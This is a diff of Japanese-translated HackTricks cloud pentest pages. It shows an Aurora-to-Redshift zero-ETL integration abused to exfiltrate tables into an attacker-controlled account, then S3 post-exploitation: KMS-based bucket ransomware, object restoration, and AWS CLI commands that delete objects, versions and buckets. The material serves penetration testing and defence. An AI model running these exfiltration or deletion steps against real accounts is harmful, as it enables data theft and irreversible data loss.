SRC_ARN=<AURORA_CLUSTER_ARN>
@@ -540,7 +575,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
</details>
<details>
<summary>3) Aurora PostgreSQL クラスターを作成（Data API と logical replication を有効化）</summary>
<summary>3) Aurora PostgreSQL クラスターを作成する（Data API と logical replication を有効にする）</summary>
```bash
CLUSTER_ID=aurora-ztl
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
@@ -583,7 +618,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
</details>
<details>
<summary>5) Redshift でレプリケートされたデータをマテリアライズしてクエリする</summary>
<summary>5) Redshiftで複製されたデータをマテリアライズしてクエリする</summary>
```bash
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
@@ -597,11 +632,10 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
</details>
テストで観察された証拠:
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
- SVV_INTEGRATION は integration_id 377a462b-c42c-4f08-937b-77fe75d98211 と state PendingDbConnectState を DB 作成前に示した。
- CREATE DATABASE FROM INTEGRATION の後、テーブル一覧を確認するとスキーマ ztl とテーブル customers があり、ztl.customers を選択すると 2 行 (Alice, Bob) が返った。
影響: 攻撃者が制御する Redshift Serverless へ、選択された Aurora PostgreSQL テーブルの継続的かつほぼリアルタイムの exfiltration を、database credentials、backups、または network access to the source cluster を使用せずに行える。
- redshift describe-inbound-integrations: Integration arn:...377a462b-... の Status が ACTIVE
- SVV_INTEGRATION は DB 作成前に integration_id 377a462b-c42c-4f08-937b-77fe75d98211 と state PendingDbConnectState を示していた
- CREATE DATABASE FROM INTEGRATION の後、テーブル一覧で schema ztl と table customers が表示され、ztl.customers から SELECT すると 2 行 (Alice, Bob) が返った
影響: 攻撃者が制御する Redshift Serverless に対して、選択された Aurora PostgreSQL テーブルが継続的かつほぼリアルタイムで exfiltration される。これは database credentials、backups、または network access to the source cluster を使用せずに行われる。
{{#include ../../../../banners/hacktricks-training.md}}

53
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
View File

@@ -1,4 +1,4 @@
# AWS - S3 Post Exploitation
# AWS - S3 ポストエクスプロイテーション
{{#include ../../../../banners/hacktricks-training.md}}
@@ -10,29 +10,60 @@ For more information check:
../../aws-services/aws-s3-athena-and-glacier-enum.md
{{#endref}}
### Sensitive Information
### 機密情報
バケット内で可読状態の機密情報が見つかることがあります。例えば、terraform state シークレットなど。
バケット内で読み取り可能な状態の機密情報が見つかることがあります。たとえば、terraform state に含まれる秘密情報などです。
### Pivoting
Different platforms could be using S3 to store sensitive assets.\
例えば、**airflow** がそこに **DAGs** **code** を保存していることがあり、あるいは **web pages** が S3 から直接配信されている場合があります。書き込み権限を持つ攻撃者は、バケット内の **modify the code** を変更して他のプラットフォームへ **pivot** したり、JS ファイルを改ざんして **takeover accounts** する可能性があります。
For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. 書き込み権限を持つ攻撃者は、バケット内の **code** を改変して他のプラットフォームへ **pivot** したり、JSファイルを変更してアカウントを **takeover** したりする可能性があります。
### S3 Ransomware
このシナリオでは、**attacker creates a KMS (Key Management Service) key in their own AWS account** または別の侵害されたアカウントで KMS キーを作成します。次に、この **key accessible to anyone in the world** にして、任意の AWS user、role、または account がこのキーを使ってオブジェクトを暗号化できるようにします。ただし、オブジェクトは復号できません。
このシナリオでは、**attacker creates a KMS (Key Management Service) key in their own AWS account** または別の侵害されたアカウント内に作成した KMS キーを使用します。攻撃者はこの **key** を世界中の誰でも利用できるようにして、任意の AWS ユーザー、ロール、またはアカウントがこのキーでオブジェクトを暗号化できるようにします。ただし、オブジェクトの復号はできません。
攻撃者はターゲットの **S3 bucket and gains write-level access** を特定し、さまざまな方法で書き込み権限を取得します。これはバケットの設定不備で公開されている場合や、攻撃者が AWS 環境自体にアクセスした場合などが考えられます。攻撃者は通常、PII、PHI、ログ、バックアップなどの機密情報を含むバケットを狙います。
攻撃者はターゲットの **S3 bucket** を特定し、様々な方法でそこへの書き込み権限を取得します。これはバケットの設定不備により公開されている場合や、攻撃者が AWS 環境自体へアクセスを得た場合などが考えられます。攻撃者は通常、PII、PHI、ログ、バックアップなどの機密情報を含むバケットを標的にします。
バケットが ransomare の対象になり得るかを判断するため、攻撃者はその設定を確認します。これには、**S3 Object Versioning** が有効か、**multi-factor authentication delete (MFA delete) is enabled** かどうかの確認が含まれます。Object Versioning が有効でない場合、攻撃者は進行できます。Object Versioning が有効で MFA delete が無効であれば、攻撃者は **disable Object Versioning** することができます。もし両方が有効であれば、その特定のバケットを ransomware するのはより困難になります。
ターゲットのバケットがランサムウェアの対象になり得るかを判断するため、攻撃者はその設定を確認します。これには **S3 Object Versioning** が有効かどうか、**multi-factor authentication delete (MFA delete)** が有効かどうかの確認が含まれます。Object Versioning が有効でない場合、攻撃者は作業を進められます。Object Versioning が有効で MFA delete が無効であれば、攻撃者は **Object Versioning を無効化** できます。両方とも有効であれば、そのバケットをランサムウェア化するのはより困難になります。
Using the AWS API、攻撃者は **replaces each object in the bucket with an encrypted copy using their KMS key** を実行します。これによりバケット内のデータが実質的に暗号化され、キーがなければアクセスできなくなります。
攻撃者は AWS API を使って、**バケット内の各オブジェクトを自分の KMS キーで暗号化したコピーに置き換えます**。これによりバケット内のデータが事実上暗号化され、キーがなければアクセス不能になります。
さらに圧力をかけるため、攻撃者は攻撃に使用した KMS キーの削除をスケジュールします。これによりターゲットはキー削除前の 7 日間でデータを回復する時間が与えられ、キーが削除されるとデータは永久に失われます。
さらに圧力をかけるため、攻撃者は攻撃で使用した KMS キーの削除をスケジュールすることがあります。これにより、キーが削除されデータが永久に失われる前にターゲットに 7 日間の復旧猶予を与えます。
最後に、攻撃者は通常 "ransom-note.txt" という名前のファイルをアップロードして、被害者がファイルを取り戻す方法を指示することがあります。このファイルは暗号化せずにアップロードされることが多く、被害者の注意を引いて ransomware 攻撃を認識させる目的があります。
最後に、攻撃者は通常 "ransom-note.txt" という名前の最終ファイルをアップロードし、ファイルの回収方法についての指示を記載します。このファイルは暗号化せずにアップロードされ、ターゲットの注意を引きランサムウェア攻撃を知らせる目的があります。
**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
### `s3:RestoreObject`
s3:RestoreObject 権限を持つ攻撃者は Glacier や Deep Archive にアーカイブされたオブジェクトを復活させ、一時的にアクセス可能にできます。これにより、通常は手の届かない履歴的なアーカイブデータ（バックアップ、スナップショット、ログ、証明書、古いシークレットなど）の回収や流出が可能になります。攻撃者がこの権限を読み取り権限（例: s3:GetObject）と組み合わせると、機密データの完全なコピーを取得できます。
```bash
aws s3api restore-object \
--bucket <BUCKET_NAME> \
--key <OBJECT_KEY> \
--restore-request '{
"Days": <NUMBER_OF_DAYS>,
"GlacierJobParameters": { "Tier": "Standard" }
}'
```
### `s3:Delete*`
s3:Delete* 権限を持つ攻撃者はオブジェクト、バージョン、バケット全体を削除でき、バックアップを破壊し、即時かつ不可逆的なデータ損失、証拠の破壊、バックアップやリカバリに関連するアーティファクトの改ざんや破損を引き起こす可能性があります。
```bash
# Delete an object from a bucket
aws s3api delete-object \
--bucket <BUCKET_NAME> \
--key <OBJECT_KEY>
# Delete a specific version
aws s3api delete-object \
--bucket <BUCKET_NAME> \
--key <OBJECT_KEY> \
--version-id <VERSION_ID>
# Delete a bucket
aws s3api delete-bucket \
--bucket <BUCKET_NAME>
```
**詳しくは** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
{{#include ../../../../banners/hacktricks-training.md}}